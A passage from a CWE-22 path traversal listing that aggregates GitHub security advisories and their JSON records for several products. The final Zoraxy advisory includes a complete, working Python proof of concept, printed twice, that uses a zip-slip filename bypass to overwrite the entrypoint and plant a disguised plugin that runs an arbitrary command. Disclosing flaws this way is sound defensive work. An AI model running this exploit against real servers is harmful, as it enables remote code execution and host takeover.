Common Weakness Enumeration

CWE-22

Allowed-with-Review

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Abstraction: Base · Status: Stable

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

13217 vulnerabilities reference this CWE, most recent first.

GHSA-7PJ9-FPV7-4JM4

Vulnerability from github – Published: 2022-05-13 01:22 – Updated: 2022-05-13 01:22
VLAI
Details

download_file in GL.iNet GL-AR300M-Lite devices with firmware 2.27 allows remote attackers to download arbitrary files.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-6273"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-03-21T16:01:00Z",
    "severity": "MODERATE"
  },
  "details": "download_file in GL.iNet GL-AR300M-Lite devices with firmware 2.27 allows remote attackers to download arbitrary files.",
  "id": "GHSA-7pj9-fpv7-4jm4",
  "modified": "2022-05-13T01:22:40Z",
  "published": "2022-05-13T01:22:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-6273"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/46179"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/151207/GL-AR300M-Lite-2.2.7-Command-Injection-Directory-Traversal.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7PJC-6RQW-M5G5

Vulnerability from github – Published: 2023-03-28 03:30 – Updated: 2023-04-03 06:30
VLAI
Details

MuYuCMS v2.2 was discovered to contain an arbitrary file deletion vulnerability via the component /accessory/picdel.html.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-27700"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-28T01:15:00Z",
    "severity": "HIGH"
  },
  "details": "MuYuCMS v2.2 was discovered to contain an arbitrary file deletion vulnerability via the component /accessory/picdel.html.",
  "id": "GHSA-7pjc-6rqw-m5g5",
  "modified": "2023-04-03T06:30:20Z",
  "published": "2023-03-28T03:30:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27700"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MuYuCMS/MuYuCMS/issues/8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7PJC-F7P6-MPFC

Vulnerability from github – Published: 2022-04-26 00:00 – Updated: 2022-05-06 00:01
VLAI
Details

A researcher reported a Directory Transversal Vulnerability in Serv-U 15.3. This may allow access to files relating to the Serv-U installation and server files. This issue has been resolved in Serv-U 15.3 Hotfix 1.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-35250"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-04-25T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "A researcher reported a Directory Transversal Vulnerability in Serv-U 15.3. This may allow access to files relating to the Serv-U installation and server files. This issue has been resolved in Serv-U 15.3 Hotfix 1.",
  "id": "GHSA-7pjc-f7p6-mpfc",
  "modified": "2022-05-06T00:01:14Z",
  "published": "2022-04-26T00:00:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-35250"
    },
    {
      "type": "WEB",
      "url": "https://support.solarwinds.com/SuccessCenter/s/article/Serv-U-15-3-HotFix-1?language=en_US"
    },
    {
      "type": "WEB",
      "url": "https://www.solarwinds.com/trust-center/security-advisories/cve-2021-35250"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7PJW-W4Q3-2M73

Vulnerability from github – Published: 2022-05-24 16:52 – Updated: 2024-04-04 01:34
VLAI
Details

An issue was discovered on MicroDigital N-series cameras with firmware through 6400.0.8.5. An attacker can trigger read operations on an arbitrary file via Path Traversal in the TZ parameter, but cannot retrieve the data that is read. This causes a denial of service if the filename is, for example, /dev/random.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-14701"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-08-06T23:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered on MicroDigital N-series cameras with firmware through 6400.0.8.5. An attacker can trigger read operations on an arbitrary file via Path Traversal in the TZ parameter, but cannot retrieve the data that is read. This causes a denial of service if the filename is, for example, /dev/random.",
  "id": "GHSA-7pjw-w4q3-2m73",
  "modified": "2024-04-04T01:34:57Z",
  "published": "2022-05-24T16:52:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-14701"
    },
    {
      "type": "WEB",
      "url": "https://pastebin.com/PSyqqs1g"
    },
    {
      "type": "WEB",
      "url": "https://www.microdigital.ru"
    },
    {
      "type": "WEB",
      "url": "http://www.microdigital.co.kr"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7PM9-G8JH-3M74

Vulnerability from github – Published: 2026-06-25 18:30 – Updated: 2026-06-26 09:30
VLAI
Details

A flaw was found in Keycloak. A realm administrator with the "manage-realm" role can exploit this vulnerability by submitting an arbitrary filesystem path as a keystore parameter when creating a key provider component. This allows the administrator to probe arbitrary filesystem paths, determining which files exist and are readable by the Keycloak process. This information disclosure could be used to identify high-value targets for follow-on attacks.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-9083"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-25T17:17:03Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in Keycloak. A realm administrator with the \"manage-realm\" role can exploit this vulnerability by submitting an arbitrary filesystem path as a keystore parameter when creating a key provider component. This allows the administrator to probe arbitrary filesystem paths, determining which files exist and are readable by the Keycloak process. This information disclosure could be used to identify high-value targets for follow-on attacks.",
  "id": "GHSA-7pm9-g8jh-3m74",
  "modified": "2026-06-26T09:30:46Z",
  "published": "2026-06-25T18:30:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9083"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:30049"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:30050"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:30083"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:30084"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-9083"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2480168"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7PMR-9FJ2-66GQ

Vulnerability from github – Published: 2025-01-09 12:30 – Updated: 2026-04-08 21:32
VLAI
Details

The Post Grid Master – Custom Post Types, Taxonomies & Ajax Filter Everything with Infinite Scroll, Load More, Pagination & Shortcode Builder plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 3.4.12 via the 'locate_template' function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included. The file included must have a .php extension.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-11642"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-09T11:15:10Z",
    "severity": "CRITICAL"
  },
  "details": "The Post Grid Master \u2013 Custom Post Types, Taxonomies \u0026 Ajax Filter Everything with Infinite Scroll, Load More, Pagination \u0026 Shortcode Builder plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 3.4.12 via the \u0027locate_template\u0027 function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other \u201csafe\u201d file types can be uploaded and included. The file included must have a .php extension.",
  "id": "GHSA-7pmr-9fj2-66gq",
  "modified": "2026-04-08T21:32:59Z",
  "published": "2025-01-09T12:30:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11642"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/ajax-filter-posts/tags/3.4.12/inc/Shortcode.php#L624"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/ajax-filter-posts/tags/3.4.13/inc/Shortcode.php#L624"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b299a932-8167-4547-845b-637c4971360d?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7PQ3-326H-F8Q9

Vulnerability from github – Published: 2026-03-25 20:04 – Updated: 2026-03-27 21:24
VLAI
Summary
Zoraxy: Authenticated Path Traversal in Config Import leads to RCE
Details

Authenticated Path Traversal to RCE via Configuration Import

Summary

An authenticated path traversal vulnerability in the configuration import endpoint allows an authenticated user to write arbitrary files outside the config directory, which can lead to RCE by creating a plugin.

Details

The vulnerable endpoint is POST /api/conf/import.

The zip entry names sanitization is bypassed by embedding ../ inside a longer sequence so the replacement produces a new ../:

conf/..././..././entrypoint.py
  → ReplaceAll("../", "")  (match found at index 1 of "..././", leaving "../")
  → conf/../../entrypoint.py   ← passes HasPrefix check, escapes conf/

Using this endpoint, a new plugin can be written (persistent) and the entrypoint (non-persistent) can be edited to add execution permissions to the plugin. When the database is provided in the import, the program should exit to trigger a container restart (which does not happen because the entrypoint does not monitor the Zoraxy exit code). As a result, the container was manually restarted for the PoC to work.

PoC

import argparse
import io
import json
import re
import sys
import zipfile

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

INTRO_SPEC_JSON = json.dumps({
    "id": "com.attacker.evil",
    "name": "System Updater",
    "author": "System",
    "author_contact": "",
    "description": "Internal system update module",
    "url": "",
    "ui_path": "/ui",
    "type": 1,
    "version_major": 1,
    "version_minor": 0,
    "version_patch": 0,
    "permitted_api_endpoints": [],
})

LINUX_START_SH = """\
#!/bin/sh
INTRO_SPEC='{intro_spec}'

run_payload() {{
{payload_lines}
}}

case "$1" in
  -introspect)
    run_payload
    printf '%s\\n' "$INTRO_SPEC"
    exit 0
    ;;
  -configure=*)
    run_payload
    while true; do sleep 3600; done
    ;;
esac
"""

MALICIOUS_ENTRYPOINT_PY = """\
#!/usr/bin/env python3
import os, subprocess, signal, sys, time

try:
    subprocess.run({cmd_list}, shell=False)
except Exception:
    pass

try:
    os.chmod("/opt/zoraxy/plugin/evil/start.sh", 0o755)
except Exception:
    pass

zoraxy_proc = None
zerotier_proc = None

def getenv(key, default=None):
  return os.environ.get(key, default)

def run(command):
  try:
    subprocess.run(command, check=True)
  except subprocess.CalledProcessError as e:
    print(f"Command failed: {command} - {e}")
    sys.exit(1)

def popen(command):
  proc = subprocess.Popen(command)
  time.sleep(1)
  if proc.poll() is not None:
    print(f"{command} exited early with code {proc.returncode}")
    raise RuntimeError(f"Failed to start {command}")
  return proc

def cleanup(_signum, _frame):
  global zoraxy_proc, zerotier_proc
  if zoraxy_proc and zoraxy_proc.poll() is None:
    zoraxy_proc.terminate()
  if zerotier_proc and zerotier_proc.poll() is None:
    zerotier_proc.terminate()
  if zoraxy_proc:
    try:
      zoraxy_proc.wait(timeout=8)
    except subprocess.TimeoutExpired:
      zoraxy_proc.kill()
      zoraxy_proc.wait()
  if zerotier_proc:
    try:
      zerotier_proc.wait(timeout=8)
    except subprocess.TimeoutExpired:
      zerotier_proc.kill()
      zerotier_proc.wait()
  try:
    os.unlink("/var/lib/zerotier-one")
  except Exception:
    pass
  sys.exit(0)

def start_zerotier():
  global zerotier_proc
  config_dir = "/opt/zoraxy/config/zerotier/"
  zt_path = "/var/lib/zerotier-one"
  os.makedirs(config_dir, exist_ok=True)
  try:
    os.symlink(config_dir, zt_path, target_is_directory=True)
  except FileExistsError:
    pass
  zerotier_proc = popen(["zerotier-one"])

def start_zoraxy():
  global zoraxy_proc
  zoraxy_args = [
    "zoraxy",
    f"-autorenew={getenv('AUTORENEW', '86400')}",
    f"-cfgupgrade={getenv('CFGUPGRADE', 'true')}",
    f"-db={getenv('DB', 'auto')}",
    f"-docker={getenv('DOCKER', 'true')}",
    f"-earlyrenew={getenv('EARLYRENEW', '30')}",
    f"-enablelog={getenv('ENABLELOG', 'true')}",
    f"-fastgeoip={getenv('FASTGEOIP', 'false')}",
    f"-mdns={getenv('MDNS', 'true')}",
    f"-mdnsname={getenv('MDNSNAME', \"''\")}",
    f"-noauth={getenv('NOAUTH', 'false')}",
    f"-plugin={getenv('PLUGIN', '/opt/zoraxy/plugin/')}",
    f"-port=:{getenv('PORT', '8000')}",
    f"-sshlb={getenv('SSHLB', 'false')}",
    f"-version={getenv('VERSION', 'false')}",
    f"-webroot={getenv('WEBROOT', './www')}",
  ]
  zoraxy_proc = popen(zoraxy_args)

def main():
  signal.signal(signal.SIGTERM, cleanup)
  signal.signal(signal.SIGINT, cleanup)
  run(["update-ca-certificates"])
  if getenv("UPDATE_GEOIP", "false").lower() == "true":
    run(["zoraxy", "-update_geoip=true"])
  os.chdir("/opt/zoraxy/config/")
  if getenv("ZEROTIER", "false") == "true":
    start_zerotier()
  start_zoraxy()
  signal.pause()

if __name__ == "__main__":
  main()
"""


def get_csrf(host: str, session: requests.Session) -> tuple:
    r = session.get(f"{host}/login.html", timeout=10, verify=False)
    m = re.search(r'<meta[^>]+name=["\']zoraxy\.csrf\.Token["\'][^>]+content=["\']([^"\']+)["\']', r.text)
    if not m:
        m = re.search(r'<meta[^>]+content=["\']([^"\']+)["\'][^>]+name=["\']zoraxy\.csrf\.Token["\']', r.text)
    token = m.group(1) if m else r.headers.get("X-CSRF-Token", "")
    return token, f"{host}/login.html"


def authenticate(host: str, username: str, password: str,
                 session: requests.Session) -> bool:
    csrf, referer = get_csrf(host, session)
    print(f"    CSRF token  -> {csrf!r}")
    r = session.post(
        f"{host}/api/auth/login",
        data={"username": username, "password": password},
        headers={"X-CSRF-Token": csrf, "Referer": referer},
        timeout=10, verify=False,
    )
    print(f"    Login       -> HTTP {r.status_code}  {r.text[:120]!r}")
    return r.status_code == 200 and r.text.strip().strip('"').lower() in ("ok", "true")


def upload_zip(host: str, session: requests.Session, zip_bytes: bytes) -> tuple:
    csrf, referer = get_csrf(host, session)
    r = session.post(
        f"{host}/api/conf/import",
        files={"file": ("backup.zip", zip_bytes, "application/zip")},
        headers={"X-CSRF-Token": csrf, "Referer": referer},
        timeout=30, verify=False,
    )
    return r.status_code, r.text


def export_config(host: str, session: requests.Session) -> bytes | None:
    r = session.get(
        f"{host}/api/conf/export?includeDB=true",
        timeout=60, verify=False,
    )
    if r.status_code == 200 and len(r.content) > 100:
        return r.content
    return None


def build_zip(cmd: str, export_zip: bytes) -> bytes:
    traversal_ep = "conf/..././..././entrypoint.py"
    traversal_sh = "conf/..././..././plugin/evil/start.sh"

    payload_lines = "\n".join(f"  {line}" for line in cmd.splitlines()) or "  id > /tmp/pwned.txt"
    start_sh = LINUX_START_SH.format(
        intro_spec=INTRO_SPEC_JSON.replace("'", "'\\''"),
        payload_lines=payload_lines,
    )
    malicious_ep = MALICIOUS_ENTRYPOINT_PY.replace("{cmd_list}", repr(["sh", "-c", cmd]))

    buf = io.BytesIO()
    with zipfile.ZipFile(io.BytesIO(export_zip), "r") as src:
        with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf:
            for item in src.infolist():
                zf.writestr(item, src.read(item.filename))
            zf.writestr(zipfile.ZipInfo(traversal_ep), malicious_ep.encode())
            zf.writestr(zipfile.ZipInfo(traversal_sh), start_sh.encode())
    buf.seek(0)
    return buf.read()


def main() -> None:
    parser = argparse.ArgumentParser(
        description="Zoraxy Authenticated RCE via Entrypoint Overwrite + Plugin Zip-Slip",
    )
    parser.add_argument("--host",  help="Target, e.g. http://192.168.1.10:8000")
    parser.add_argument("--user",  default="admin")
    parser.add_argument("--pass",  dest="password", default=None)
    parser.add_argument("--cmd", default="id > /tmp/pwned.txt",
                        help="Shell command to embed in the payload")
    args = parser.parse_args()

    if not args.host or not args.password:
        parser.error("--host and --pass are required")
    host = args.host.rstrip("/")

    print(f"\n[1] Authenticating as '{args.user}' at {host} ...")
    session = requests.Session()
    if not authenticate(host, args.user, args.password, session):
        print("[-] Authentication failed.")
        sys.exit(1)
    print("[+] Authenticated.")

    print(f"\n[2] Exporting live config ...")
    export_zip = export_config(host, session)
    if not export_zip:
        print("[-] Config export failed.")
        sys.exit(1)
    print("\n[3] Building malicious zip ...")
    zip_bytes = build_zip(args.cmd, export_zip)
    print(f"[+] Zip size: {len(zip_bytes):,} bytes")

    print(f"\n[4] Uploading via POST {host}/api/conf/import ...")
    code, body = upload_zip(host, session, zip_bytes)
    print(f"    HTTP {code}  {body[:200]!r}")
    if code != 200:
        print("[-] Upload failed.")
        sys.exit(1)
    print("[+] Files written")


if __name__ == "__main__":
    main()

Impact

Arbitrary file write leads to RCE by an authenticated user. Given that the Docker socket might be mapped, this issue can lead to full host takeover.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/tobychui/zoraxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33529"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T20:04:44Z",
    "nvd_published_at": "2026-03-26T20:16:15Z",
    "severity": "LOW"
  },
  "details": "# Authenticated Path Traversal to RCE via Configuration Import\n\n## Summary\n\nAn authenticated path traversal vulnerability in the configuration import endpoint allows an authenticated user to write arbitrary files outside the config directory, which can lead to RCE by creating a plugin.\n\n## Details\n\nThe vulnerable endpoint is `POST /api/conf/import`.\n\nThe zip entry names sanitization is bypassed by embedding `../` inside a longer sequence so the replacement produces a new `../`:\n\n```\nconf/..././..././entrypoint.py\n  \u2192 ReplaceAll(\"../\", \"\")  (match found at index 1 of \"..././\", leaving \"../\")\n  \u2192 conf/../../entrypoint.py   \u2190 passes HasPrefix check, escapes conf/\n```\n\nUsing this endpoint, a new plugin can be written (persistent) and the entrypoint (non-persistent) can be edited to add execution permissions to the plugin.\nWhen the database is provided in the import, the program should exit to trigger a container restart (which does not happen because the entrypoint does not monitor the Zoraxy exit code).\nAs a result, the container was manually restarted for the PoC to work.\n\n## PoC\n\n```python\nimport argparse\nimport io\nimport json\nimport re\nimport sys\nimport zipfile\n\nimport requests\nimport urllib3\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\nINTRO_SPEC_JSON = json.dumps({\n    \"id\": \"com.attacker.evil\",\n    \"name\": \"System Updater\",\n    \"author\": \"System\",\n    \"author_contact\": \"\",\n    \"description\": \"Internal system update module\",\n    \"url\": \"\",\n    \"ui_path\": \"/ui\",\n    \"type\": 1,\n    \"version_major\": 1,\n    \"version_minor\": 0,\n    \"version_patch\": 0,\n    \"permitted_api_endpoints\": [],\n})\n\nLINUX_START_SH = \"\"\"\\\n#!/bin/sh\nINTRO_SPEC=\u0027{intro_spec}\u0027\n\nrun_payload() {{\n{payload_lines}\n}}\n\ncase \"$1\" in\n  -introspect)\n    run_payload\n    printf \u0027%s\\\\n\u0027 \"$INTRO_SPEC\"\n    exit 0\n    ;;\n  -configure=*)\n    run_payload\n    while true; do sleep 3600; done\n    ;;\nesac\n\"\"\"\n\nMALICIOUS_ENTRYPOINT_PY = \"\"\"\\\n#!/usr/bin/env python3\nimport os, subprocess, signal, sys, time\n\ntry:\n    subprocess.run({cmd_list}, shell=False)\nexcept Exception:\n    pass\n\ntry:\n    os.chmod(\"/opt/zoraxy/plugin/evil/start.sh\", 0o755)\nexcept Exception:\n    pass\n\nzoraxy_proc = None\nzerotier_proc = None\n\ndef getenv(key, default=None):\n  return os.environ.get(key, default)\n\ndef run(command):\n  try:\n    subprocess.run(command, check=True)\n  except subprocess.CalledProcessError as e:\n    print(f\"Command failed: {command} - {e}\")\n    sys.exit(1)\n\ndef popen(command):\n  proc = subprocess.Popen(command)\n  time.sleep(1)\n  if proc.poll() is not None:\n    print(f\"{command} exited early with code {proc.returncode}\")\n    raise RuntimeError(f\"Failed to start {command}\")\n  return proc\n\ndef cleanup(_signum, _frame):\n  global zoraxy_proc, zerotier_proc\n  if zoraxy_proc and zoraxy_proc.poll() is None:\n    zoraxy_proc.terminate()\n  if zerotier_proc and zerotier_proc.poll() is None:\n    zerotier_proc.terminate()\n  if zoraxy_proc:\n    try:\n      zoraxy_proc.wait(timeout=8)\n    except subprocess.TimeoutExpired:\n      zoraxy_proc.kill()\n      zoraxy_proc.wait()\n  if zerotier_proc:\n    try:\n      zerotier_proc.wait(timeout=8)\n    except subprocess.TimeoutExpired:\n      zerotier_proc.kill()\n      zerotier_proc.wait()\n  try:\n    os.unlink(\"/var/lib/zerotier-one\")\n  except Exception:\n    pass\n  sys.exit(0)\n\ndef start_zerotier():\n  global zerotier_proc\n  config_dir = \"/opt/zoraxy/config/zerotier/\"\n  zt_path = \"/var/lib/zerotier-one\"\n  os.makedirs(config_dir, exist_ok=True)\n  try:\n    os.symlink(config_dir, zt_path, target_is_directory=True)\n  except FileExistsError:\n    pass\n  zerotier_proc = popen([\"zerotier-one\"])\n\ndef start_zoraxy():\n  global zoraxy_proc\n  zoraxy_args = [\n    \"zoraxy\",\n    f\"-autorenew={getenv(\u0027AUTORENEW\u0027, \u002786400\u0027)}\",\n    f\"-cfgupgrade={getenv(\u0027CFGUPGRADE\u0027, \u0027true\u0027)}\",\n    f\"-db={getenv(\u0027DB\u0027, \u0027auto\u0027)}\",\n    f\"-docker={getenv(\u0027DOCKER\u0027, \u0027true\u0027)}\",\n    f\"-earlyrenew={getenv(\u0027EARLYRENEW\u0027, \u002730\u0027)}\",\n    f\"-enablelog={getenv(\u0027ENABLELOG\u0027, \u0027true\u0027)}\",\n    f\"-fastgeoip={getenv(\u0027FASTGEOIP\u0027, \u0027false\u0027)}\",\n    f\"-mdns={getenv(\u0027MDNS\u0027, \u0027true\u0027)}\",\n    f\"-mdnsname={getenv(\u0027MDNSNAME\u0027, \\\"\u0027\u0027\\\")}\",\n    f\"-noauth={getenv(\u0027NOAUTH\u0027, \u0027false\u0027)}\",\n    f\"-plugin={getenv(\u0027PLUGIN\u0027, \u0027/opt/zoraxy/plugin/\u0027)}\",\n    f\"-port=:{getenv(\u0027PORT\u0027, \u00278000\u0027)}\",\n    f\"-sshlb={getenv(\u0027SSHLB\u0027, \u0027false\u0027)}\",\n    f\"-version={getenv(\u0027VERSION\u0027, \u0027false\u0027)}\",\n    f\"-webroot={getenv(\u0027WEBROOT\u0027, \u0027./www\u0027)}\",\n  ]\n  zoraxy_proc = popen(zoraxy_args)\n\ndef main():\n  signal.signal(signal.SIGTERM, cleanup)\n  signal.signal(signal.SIGINT, cleanup)\n  run([\"update-ca-certificates\"])\n  if getenv(\"UPDATE_GEOIP\", \"false\").lower() == \"true\":\n    run([\"zoraxy\", \"-update_geoip=true\"])\n  os.chdir(\"/opt/zoraxy/config/\")\n  if getenv(\"ZEROTIER\", \"false\") == \"true\":\n    start_zerotier()\n  start_zoraxy()\n  signal.pause()\n\nif __name__ == \"__main__\":\n  main()\n\"\"\"\n\n\ndef get_csrf(host: str, session: requests.Session) -\u003e tuple:\n    r = session.get(f\"{host}/login.html\", timeout=10, verify=False)\n    m = re.search(r\u0027\u003cmeta[^\u003e]+name=[\"\\\u0027]zoraxy\\.csrf\\.Token[\"\\\u0027][^\u003e]+content=[\"\\\u0027]([^\"\\\u0027]+)[\"\\\u0027]\u0027, r.text)\n    if not m:\n        m = re.search(r\u0027\u003cmeta[^\u003e]+content=[\"\\\u0027]([^\"\\\u0027]+)[\"\\\u0027][^\u003e]+name=[\"\\\u0027]zoraxy\\.csrf\\.Token[\"\\\u0027]\u0027, r.text)\n    token = m.group(1) if m else r.headers.get(\"X-CSRF-Token\", \"\")\n    return token, f\"{host}/login.html\"\n\n\ndef authenticate(host: str, username: str, password: str,\n                 session: requests.Session) -\u003e bool:\n    csrf, referer = get_csrf(host, session)\n    print(f\"    CSRF token  -\u003e {csrf!r}\")\n    r = session.post(\n        f\"{host}/api/auth/login\",\n        data={\"username\": username, \"password\": password},\n        headers={\"X-CSRF-Token\": csrf, \"Referer\": referer},\n        timeout=10, verify=False,\n    )\n    print(f\"    Login       -\u003e HTTP {r.status_code}  {r.text[:120]!r}\")\n    return r.status_code == 200 and r.text.strip().strip(\u0027\"\u0027).lower() in (\"ok\", \"true\")\n\n\ndef upload_zip(host: str, session: requests.Session, zip_bytes: bytes) -\u003e tuple:\n    csrf, referer = get_csrf(host, session)\n    r = session.post(\n        f\"{host}/api/conf/import\",\n        files={\"file\": (\"backup.zip\", zip_bytes, \"application/zip\")},\n        headers={\"X-CSRF-Token\": csrf, \"Referer\": referer},\n        timeout=30, verify=False,\n    )\n    return r.status_code, r.text\n\n\ndef export_config(host: str, session: requests.Session) -\u003e bytes | None:\n    r = session.get(\n        f\"{host}/api/conf/export?includeDB=true\",\n        timeout=60, verify=False,\n    )\n    if r.status_code == 200 and len(r.content) \u003e 100:\n        return r.content\n    return None\n\n\ndef build_zip(cmd: str, export_zip: bytes) -\u003e bytes:\n    traversal_ep = \"conf/..././..././entrypoint.py\"\n    traversal_sh = \"conf/..././..././plugin/evil/start.sh\"\n\n    payload_lines = \"\\n\".join(f\"  {line}\" for line in cmd.splitlines()) or \"  id \u003e /tmp/pwned.txt\"\n    start_sh = LINUX_START_SH.format(\n        intro_spec=INTRO_SPEC_JSON.replace(\"\u0027\", \"\u0027\\\\\u0027\u0027\"),\n        payload_lines=payload_lines,\n    )\n    malicious_ep = MALICIOUS_ENTRYPOINT_PY.replace(\"{cmd_list}\", repr([\"sh\", \"-c\", cmd]))\n\n    buf = io.BytesIO()\n    with zipfile.ZipFile(io.BytesIO(export_zip), \"r\") as src:\n        with zipfile.ZipFile(buf, \"w\", zipfile.ZIP_DEFLATED) as zf:\n            for item in src.infolist():\n                zf.writestr(item, src.read(item.filename))\n            zf.writestr(zipfile.ZipInfo(traversal_ep), malicious_ep.encode())\n            zf.writestr(zipfile.ZipInfo(traversal_sh), start_sh.encode())\n    buf.seek(0)\n    return buf.read()\n\n\ndef main() -\u003e None:\n    parser = argparse.ArgumentParser(\n        description=\"Zoraxy Authenticated RCE via Entrypoint Overwrite + Plugin Zip-Slip\",\n    )\n    parser.add_argument(\"--host\",  help=\"Target, e.g. http://192.168.1.10:8000\")\n    parser.add_argument(\"--user\",  default=\"admin\")\n    parser.add_argument(\"--pass\",  dest=\"password\", default=None)\n    parser.add_argument(\"--cmd\", default=\"id \u003e /tmp/pwned.txt\",\n                        help=\"Shell command to embed in the payload\")\n    args = parser.parse_args()\n\n    if not args.host or not args.password:\n        parser.error(\"--host and --pass are required\")\n    host = args.host.rstrip(\"/\")\n\n    print(f\"\\n[1] Authenticating as \u0027{args.user}\u0027 at {host} ...\")\n    session = requests.Session()\n    if not authenticate(host, args.user, args.password, session):\n        print(\"[-] Authentication failed.\")\n        sys.exit(1)\n    print(\"[+] Authenticated.\")\n\n    print(f\"\\n[2] Exporting live config ...\")\n    export_zip = export_config(host, session)\n    if not export_zip:\n        print(\"[-] Config export failed.\")\n        sys.exit(1)\n    print(\"\\n[3] Building malicious zip ...\")\n    zip_bytes = build_zip(args.cmd, export_zip)\n    print(f\"[+] Zip size: {len(zip_bytes):,} bytes\")\n\n    print(f\"\\n[4] Uploading via POST {host}/api/conf/import ...\")\n    code, body = upload_zip(host, session, zip_bytes)\n    print(f\"    HTTP {code}  {body[:200]!r}\")\n    if code != 200:\n        print(\"[-] Upload failed.\")\n        sys.exit(1)\n    print(\"[+] Files written\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n## Impact\n\nArbitrary file write leads to RCE by an authenticated user. Given that the Docker socket might be mapped, this issue can lead to full host takeover.",
  "id": "GHSA-7pq3-326h-f8q9",
  "modified": "2026-03-27T21:24:56Z",
  "published": "2026-03-25T20:04:44Z",
  "references": [
    {
      "type": "WEB",
